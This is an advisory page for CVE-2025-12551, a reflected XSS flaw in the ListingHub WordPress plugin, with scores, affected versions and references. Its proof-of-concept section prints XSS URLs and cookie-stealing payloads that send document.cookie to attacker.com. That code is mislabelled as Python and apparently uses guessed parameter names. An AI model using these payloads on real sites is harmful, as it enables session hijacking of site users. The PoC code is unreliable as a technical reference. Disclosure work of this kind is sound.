CVE-2025-12551

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e-plugins ListingHub listinghub allows Reflected XSS.This issue affects ListingHub: from n/a through 1.2.6.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

ListingHub < 1.2.7

e-plugins ListingHub through 1.2.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-12551 PoC - Reflected XSS in WordPress ListingHub Plugin -->
<!-- Example: Attacker crafts a URL with malicious script -->

<!-- Basic PoC URL structure -->
<!-- https://vulnerable-site.com/?search=<script>alert(document.cookie)</script> -->

<!-- More sophisticated PoC with event handler -->
<!-- https://vulnerable-site.com/?search="><img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)> -->

<!-- HTML encoded version to bypass some filters -->
<!-- https://vulnerable-site.com/?search=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E -->

<!-- PoC JavaScript code -->
(function(){
    // Create malicious URL
    const baseUrl = window.location.origin;
    const maliciousParam = '<script>alert(document.domain)</script>';
    const exploitUrl = baseUrl + '/?s=' + encodeURIComponent(maliciousParam);
    
    // Log exploit URL for demonstration
    console.log('Exploit URL:', exploitUrl);
    
    // Simulate cookie stealing payload
    const cookieStealPayload = '<img src=x onerror="fetch(`https://attacker.com/log?c=${document.cookie}`)">';
    console.log('Cookie steal payload:', cookieStealPayload);
})();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12551
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12551
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12551/
[4] VulDB https://vuldb.com/cve/CVE-2025-12551
[5] https://patchstack.com/database/Wordpress/Plugin/listinghub/vulnerability/wordpress-listinghub-plugin-1-2-6-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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